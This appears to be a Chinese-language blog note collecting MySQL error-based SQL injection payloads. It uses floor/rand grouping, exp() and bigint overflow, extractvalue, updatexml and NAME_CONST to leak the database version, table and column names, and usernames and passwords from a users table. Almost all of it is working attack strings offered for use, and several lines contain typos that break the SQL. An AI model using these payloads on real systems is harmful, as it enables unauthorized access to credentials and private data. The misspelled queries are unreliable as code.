sql盲注----構造payload 讓信息通過錯誤提示回顯出來

基於報錯的sql盲注----構造payload 讓信息通過錯誤提示回顯出來

select 1, count(*), concat(0x3a,0x3a,(select user()),0x3a,0x3a,floot(rand(0)*2))a jfrom information_schema.columns group by a;

//explain:此處有三個點,一是需要 concat 計數,二是 floor,取得 0 or 1,進行數據的重複,三是 group by 進行分組,但具體原理解釋不是很通,大致原理爲分組後數據計數時重複造成的錯誤。也有解釋爲 mysql 的 bug 的問題。但是此處需要將 rand(0),rand()需要多試幾次

簡化形式如下:

select count(*) from infromation_schema.tables group by concat(version(), floor(rand(0)*2))

如果關鍵的表被禁用了,可以使用這種形式

select count(*) from (select 1 union select null union select !1) group bu concat(version(),floor(0)*2)

如果rand被禁用了可以使用用戶變量來報錯

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

select exp(~(select * from (select user())a))
//double數值類型超出範圍,exp()爲以e爲底的對數函數;版本在5.5.5及其以上

得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

檢索數據:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

參考文章:https://www.cnblogs.com/lcamry/articles/5509124.html

select !(select * from (select user())x) - ~0

//bigint 超出範圍:~0是對0的逐位取反 版本5.5.5以上

利用最大整數無法處理引發報錯

首先,我們來獲取表名:

!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

取得列名:

select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

檢索數據:

!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;

參考文章: https://www.cnblogs.com/lcamry/articles/5509112.html

extractvalue(1,concat(0x7e,(select @@version),0x7e))

//mysql對xml數據進行查詢和修改的xpath函數,xpath語法錯誤

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

//mysql對xml數據進行查詢和修改的xpath函數,xpath語法錯誤

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql重複特性,此處重複了version,所以報錯

個人自建blog:
http://pigdaqiang.top
http://texttxet.github.io
簡書blog:
https://www.jianshu.com/p/a3f16067044e

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章